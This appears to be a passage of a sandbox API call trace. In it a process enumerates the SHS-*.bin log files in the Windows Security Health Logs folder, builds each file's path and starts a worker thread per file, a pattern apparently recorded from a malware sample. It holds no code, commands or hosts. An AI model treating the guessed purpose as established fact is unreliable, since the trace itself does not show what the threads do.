	[0089.655] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xee7ecabd, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0xee7ecabd, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x5e457d19, ftLastWriteTime.dwHighDateTime=0x1d39f5f, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-02~3.BIN")) returned 1
	[0089.655] wcscmp (_String1="SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.655] wcscmp (_String1="SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.655] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x477a160
	[0089.655] wcscpy (in: _Dest=0x477a160, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.655] wcscat (in: _Dest=0x477a160, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.655] wcscat (in: _Dest=0x477a160, _Source="SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02062018-162700-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477a160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cb4
	[0089.656] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7a075c31, ftCreationTime.dwHighDateTime=0x1d3aafb, ftLastAccessTime.dwLowDateTime=0x7a075c31, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0x32313161, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-02~4.BIN")) returned 1
	[0089.656] wcscmp (_String1="SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.656] wcscmp (_String1="SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.656] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4779f60
	[0089.656] wcscpy (in: _Dest=0x4779f60, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.656] wcscat (in: _Dest=0x4779f60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.656] wcscat (in: _Dest=0x4779f60, _Source="SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4779f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cb8
	[0089.657] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19a4d06c, ftCreationTime.dwHighDateTime=0x1d4d5d0, ftLastAccessTime.dwLowDateTime=0x19a4d06c, ftLastAccessTime.dwHighDateTime=0x1d4d5d0, ftLastWriteTime.dwLowDateTime=0x37122ed1, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-03~1.BIN")) returned 1
	[0089.657] wcscmp (_String1="SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.657] wcscmp (_String1="SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.657] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x477a460
	[0089.657] wcscpy (in: _Dest=0x477a460, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.657] wcscat (in: _Dest=0x477a460, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.657] wcscat (in: _Dest=0x477a460, _Source="SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-175806-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.657] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477a460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cbc
	[0089.658] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcadfed41, ftCreationTime.dwHighDateTime=0x1d4d5d2, ftLastAccessTime.dwLowDateTime=0xcadfed41, ftLastAccessTime.dwHighDateTime=0x1d4d5d2, ftLastWriteTime.dwLowDateTime=0xac415a8e, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-03~2.BIN")) returned 1
	[0089.658] wcscmp (_String1="SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.658] wcscmp (_String1="SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.658] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4779960
	[0089.658] wcscpy (in: _Dest=0x4779960, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.658] wcscat (in: _Dest=0x4779960, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.658] wcscat (in: _Dest=0x4779960, _Source="SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.658] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4779960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc0
	[0089.658] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6e95e484, ftCreationTime.dwHighDateTime=0x1d41dc3, ftLastAccessTime.dwLowDateTime=0x6e95e484, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0x6da4c73e, ftLastWriteTime.dwHighDateTime=0x1d41dc4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-07~2.BIN")) returned 1
	[0089.658] wcscmp (_String1="SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.658] wcscmp (_String1="SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.658] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4778f60
	[0089.658] wcscpy (in: _Dest=0x4778f60, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.658] wcscat (in: _Dest=0x4778f60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.658] wcscat (in: _Dest=0x4778f60, _Source="SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.659] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4778f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc4
	[0089.659] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc3f8b81, ftCreationTime.dwHighDateTime=0x1d41dc5, ftLastAccessTime.dwLowDateTime=0xc3f8b81, ftLastAccessTime.dwHighDateTime=0x1d41dc5, ftLastWriteTime.dwLowDateTime=0x23c2da14, ftLastWriteTime.dwHighDateTime=0x1d41dc5, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-07~1.BIN")) returned 1
	[0089.660] wcscmp (_String1="SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.660] wcscmp (_String1="SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.660] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4778760
	[0089.660] wcscpy (in: _Dest=0x4778760, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.660] wcscat (in: _Dest=0x4778760, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.660] wcscat (in: _Dest=0x4778760, _Source="SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4778760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc8
	[0089.660] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x88c78932, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x88c78932, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x7b55a971, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-09~1.BIN")) returned 1
	[0089.661] wcscmp (_String1="SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.661] wcscmp (_String1="SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.661] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4779a60
	[0089.661] wcscpy (in: _Dest=0x4779a60, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.661] wcscat (in: _Dest=0x4779a60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.661] wcscat (in: _Dest=0x4779a60, _Source="SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-205414-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4779a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ccc
	[0089.661] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9095a9c2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9095a9c2, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x5a28d98a, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-09~2.BIN")) returned 1
	[0089.661] wcscmp (_String1="SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.661] wcscmp (_String1="SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.661] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x477a560
	[0089.661] wcscpy (in: _Dest=0x477a560, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.661] wcscat (in: _Dest=0x477a560, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.661] wcscat (in: _Dest=0x477a560, _Source="SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09062017-210137-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477a560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cd0
	[0089.662] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64211155, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x64211155, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xfd42c56a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-09~3.BIN")) returned 1
	[0089.662] wcscmp (_String1="SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.662] wcscmp (_String1="SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.662] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4778860
	[0089.662] wcscpy (in: _Dest=0x4778860, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.662] wcscat (in: _Dest=0x4778860, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.662] wcscat (in: _Dest=0x4778860, _Source="SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-103625-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4778860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cd4
	[0089.663] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x65faa03, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x65faa03, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x8f6c25b7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHS-09~4.BIN")) returned 1
	[0089.663] wcscmp (_String1="SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.663] wcscmp (_String1="SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.663] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4778960
	[0089.663] wcscpy (in: _Dest=0x4778960, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.663] wcscat (in: _Dest=0x4778960, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.663] wcscat (in: _Dest=0x4778960, _Source="SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-114522-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.663] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4778960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cd8
	[0089.663] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x98d63d64, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0x98d63d64, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xffed8d7a, ftLastWriteTime.dwHighDateTime=0x1d327ec, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SH3B08~1.BIN")) returned 1
	[0089.663] wcscmp (_String1="SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.664] wcscmp (_String1="SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.664] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4778b60
	[0089.664] wcscpy (in: _Dest=0x4778b60, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.664] wcscat (in: _Dest=0x4778b60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.664] wcscat (in: _Dest=0x4778b60, _Source="SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-132231-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4778b60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cdc
	[0089.664] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2000, ftCreationTime.dwLowDateTime=0xd5f7bb1, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0xd5f7bb1, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0xd5f7bb1, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SH7EFA~1.BIN")) returned 1
	[0089.664] wcscmp (_String1="SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.664] wcscmp (_String1="SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.664] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4778a60
	[0089.664] wcscpy (in: _Dest=0x4778a60, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.664] wcscat (in: _Dest=0x4778a60, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.664] wcscat (in: _Dest=0x4778a60, _Source="SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09072017-172200-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.664] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4778a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ce0
	[0089.665] FindNextFileW (in: hFindFile=0x477b5a8, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8361892b, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0x8361892b, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0x1e89ead9, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", cAlternateFileName="SHFD17~1.BIN")) returned 1
	[0089.665] wcscmp (_String1="SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2=".") returned 1
	[0089.665] wcscmp (_String1="SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", _String2="..") returned 1
	[0089.665] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4779760
	[0089.665] wcscpy (in: _Dest=0x4779760, _Source="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs"
	[0089.665] wcscat (in: _Dest=0x4779760, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\"
	[0089.665] wcscat (in: _Dest=0x4779760, _Source="SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-09262017-144646-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0089.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4779760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ce4
